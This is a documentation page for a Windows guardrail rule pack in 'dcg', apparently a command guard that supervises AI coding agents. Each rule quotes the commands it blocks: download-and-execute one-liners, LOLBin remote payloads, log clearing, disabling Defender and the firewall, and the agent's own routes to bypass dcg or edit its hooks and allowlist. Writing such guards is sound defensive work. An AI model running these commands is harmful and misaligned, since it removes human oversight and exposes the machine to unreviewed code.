dcg

Careful Company: Guardrail Tampering

careful_company_running_windows.guardrails

Blocks disabling the controls that supervise the agent: Microsoft Defender (`Set-MpPreference -Disable*`/`-ExclusionPath`), the Windows firewall, EDR and event-log services, BitLocker, `Set-ExecutionPolicy Bypass`, PowerShell script-block logging, event-log clearing (`wevtutil cl`, `auditpol /clear`), and dcg's own bypass/uninstall, allowlist grants, runtime config overrides, or agent hook config. Also blocks unreviewed remote code: `iwr | iex`, `powershell -EncodedCommand`, and mshta/regsvr32/rundll32 remote payloads.

  • 15blocking rules
  • 4safe patterns
  • 9Critical
  • 5High
  • 1Medium
~/.config/dcg/config.toml
[packs]
enabled = ["careful_company_running_windows.guardrails"]

Evaluated when a command contains MpPreference, mppreference, MpComputerStatus, Defender, defender, DEFENDER, netsh, NETSH, advfirewall, ADVFIREWALL.

Blocking rules

Each rule ID is careful_company_running_windows.guardrails:<name>. Use it in allowlists and [policy.rules].

  1. clear-audit-logs

    Critical

    Clearing the Windows event logs destroys the record of what happened on this machine.

    Explanation
    `wevtutil cl Security`, `Clear-EventLog`, and `auditpol /clear` erase the audit trail. There is no undo and no partial recovery: everything before the clear becomes unreviewable, which is why log clearing is treated as an incident in its own right. Safer alternatives: - `wevtutil epl <log> backup.evtx` to export before any maintenance - Filter with `Get-WinEvent -FilterHashtable` instead of clearing to reduce noise
  2. dcg-bypass-or-uninstall

    Critical

    Bypassing or uninstalling dcg removes the guard that is supervising this session.

    Explanation
    `DCG_BYPASS=1` disables every rule for an invocation and `dcg uninstall` removes the hook entirely. The escape hatch exists for a person at a terminal who has decided to accept the risk — an agent reaching for it has removed the only thing checking its work. A *truthy assignment* is required, so reading the variable, setting it to a false value, and setting an unrelated `DCG_*` variable such as `DCG_LOG` all pass. Safer alternatives: - `dcg explain "<command>"` to find out precisely which rule is in the way - `dcg allowlist add <ruleId> -r "<reason>"` to permit one rule, with the reason recorded - Ask the operator to run the command manually if it is genuinely needed
  3. dcg-policy-self-weakening

    Critical

    Granting an exception, writing an authorization store, or overriding policy config lets the agent clear its own path.

    Explanation
    `dcg allowlist add` and `dcg allow-once` grant permission for a rule or command. Shell writes to `allow_once.jsonl` or `pending_exceptions.jsonl` can forge the same authorization; redirections and filesystem writers are checked against the stores' default and configured locations. Read-only inspection and backup copies remain available. The runtime environment overrides weaken enforcement wholesale: `DCG_PACKS` *replaces* the enabled list (so it silently drops this preset), `DCG_DISABLE` removes packs, `DCG_CONFIG` swaps the config file, `DCG_POLICY_DEFAULT_MODE=warn|log` and `DCG_POLICY_OBSERVE_UNTIL` demote every non-Critical match to a warning, and `DCG_HEREDOC_ENABLED=false` turns off scanning of embedded scripts. Each is a legitimate operator action and none is a legitimate agent action: an agent that can widen its own allowlist is not being guarded, it is being asked politely. Operations that *reduce* permissions — `dcg allowlist remove`, `dcg allowlist prune` — are not matched. Safer alternatives: - `dcg explain "<command>"` and `dcg allowlist list` remain available for diagnosis - Report which rule is in the way and let the operator run `dcg allowlist add` with a recorded reason
  4. disable-antivirus

    Critical

    Disabling Defender or adding a scan exclusion removes malware protection.

    Explanation
    `Set-MpPreference -DisableRealtimeMonitoring $true` switches off real-time scanning, and `Add-MpPreference -ExclusionPath C:\` achieves the same result more quietly by telling Defender to ignore a location. Either way the machine stops being protected, and the change persists until someone notices. Setting a `-Disable*` switch to `$false` re-enables protection and is deliberately not matched. Safer alternatives: - `Get-MpPreference` / `Get-MpComputerStatus` to inspect the current configuration - Ask the operator to make any exclusion, scoped as narrowly as possible
  5. disable-firewall

    Critical

    Turning off the Windows firewall removes host network protection.

    Explanation
    `netsh advfirewall set allprofiles state off` and `Set-NetFirewallProfile -Enabled False` disable host firewalling for every network the machine joins, including untrusted ones, and the setting persists across reboots. Safer alternatives: - `netsh advfirewall show allprofiles` to see the current state - Add one narrowly scoped rule instead of disabling the profile
  6. download-and-execute

    Critical

    Fetching code and piping it straight into Invoke-Expression runs unreviewed remote code.

    Explanation
    `iwr https://host/s.ps1 | iex` and `IEX (New-Object Net.WebClient).DownloadString(...)` execute whatever the server returns, at this moment, with the user's privileges. Nobody reviewed it, the content can differ between the check and the run, and nothing is left on disk to examine afterwards. Safer alternatives: - Download to a file, read it, then run it deliberately - Install from the package manager or an internal artifact store
  7. lolbin-remote-execution

    Critical

    mshta/regsvr32/rundll32 pointed at a remote payload execute code from the internet.

    Explanation
    `mshta https://host/x.hta`, `regsvr32 /s /u /i:https://host/x.sct scrobj.dll`, and `rundll32 javascript:...` all run remote code through a signed, built-in Windows binary. The technique exists specifically to avoid the scrutiny that a downloaded executable would attract. Safer alternatives: - Download the payload, inspect it, and run it deliberately if it is legitimate - Use the package manager or an internal artifact store
  8. powershell-encoded-command

    Critical

    powershell -EncodedCommand hides the command being run behind base64.

    Explanation
    `powershell -enc <base64>` conceals the entire command from the transcript, from this guard, and from anyone reviewing the session later. There is no benign reason for an agent to encode a command it is about to run. Safer alternatives: - Pass the script plainly, or run it from a file - Decode and show the command first if it arrived encoded from elsewhere
  9. stop-security-service

    Critical

    Stopping or deleting a security/EDR/event-log service blinds the monitoring stack.

    Explanation
    These service names are Defender, its filter drivers, Sysmon, and the major EDR agents, plus the Event Log and firewall services themselves. Stopping one does not just reduce protection, it stops the recording of what happens next. Safer alternatives: - `Get-Service <name>` / `sc query <name>` to inspect state - Ask the operator; these services are usually tamper-protected for good reason
  10. agent-hook-config-overwrite

    High

    Copying a file ONTO the agent's hook configuration replaces it and can silently remove dcg's protection.

    Explanation
    A copy whose DESTINATION is a hook-configuration file (like `~/.claude/settings.json` or `~/.codex/hooks.json`) overwrites the registered hooks in one step. Copying the configuration OUT to a backup is a read and is not blocked. Safer alternatives: - `dcg doctor` to check hook health without editing anything - `dcg install` to repair a hook, which preserves coexisting entries - Ask the operator to make configuration changes
  11. agent-hook-config-tamper

    High

    Editing or deleting the agent's hook configuration can silently remove dcg's protection.

    Explanation
    dcg runs because it is registered as a PreToolUse hook in files like `~/.claude/settings.json` or `~/.codex/hooks.json`. Rewriting or deleting one of those files removes the guard with no error and no warning — the next dangerous command simply runs. Safer alternatives: - `dcg doctor` to check hook health without editing anything - `dcg install` to repair a hook, which preserves coexisting entries - Ask the operator to make configuration changes
  12. disable-disk-encryption

    High

    Disabling BitLocker decrypts the volume and removes at-rest protection.

    Explanation
    `Disable-BitLocker` starts a full decryption of the volume; `manage-bde -protectors -disable` suspends protection without decrypting. Either leaves company data readable to anyone who obtains the disk, and re-encrypting a large volume takes hours. Safer alternatives: - `Get-BitLockerVolume` / `manage-bde -status` to inspect - Ask the operator; suspension is normally only needed for firmware updates
  13. disable-powershell-logging

    High

    Disabling PowerShell script-block logging removes the record of what scripts ran.

    Explanation
    Script-block logging is the main forensic record of PowerShell activity. Setting `EnableScriptBlockLogging` to 0 means later commands leave no trace — the logging equivalent of clearing the event log in advance. A write is required: reading the policy key, or setting the value to 1, is not matched. Safer alternatives: - Leave logging on; it does not block anything, it only records - Ask the operator if log volume is genuinely a problem
  14. set-execution-policy-bypass

    High

    Set-ExecutionPolicy Bypass persistently allows any script to run on this machine.

    Explanation
    `Set-ExecutionPolicy Bypass -Scope LocalMachine` removes the script-signing check for everything that runs afterwards, not just the current task. (The per-process flag `powershell -ExecutionPolicy Bypass -File x.ps1`, which many legitimate installers use, is deliberately not matched, and neither is `-Scope Process`, which lasts only for the current session.) Safer alternatives: - Use `-Scope Process` if a single session genuinely needs it - `Unblock-File` the specific script instead of relaxing the machine policy
  15. lolbin-remote-download

    Medium

    certutil -urlcache downloads a file from the internet using a certificate utility.

    Explanation
    `certutil -urlcache -f https://host/x.exe x.exe` is a download that has nothing to do with certificates. It is a long-standing way to fetch a payload with a built-in binary, and the URL is also an outbound channel in its own right — but it is occasionally used legitimately, so this warns rather than blocks. Safer alternatives: - `Invoke-WebRequest -OutFile` or `curl -o`, which are not matched - Use the package manager for software installs

Safe patterns

Checked first. A command that matches one is never blocked by this pack.

  • read-only-data-context
  • dcg-self-inspection
  • execution-policy-process-scope
  • security-status-query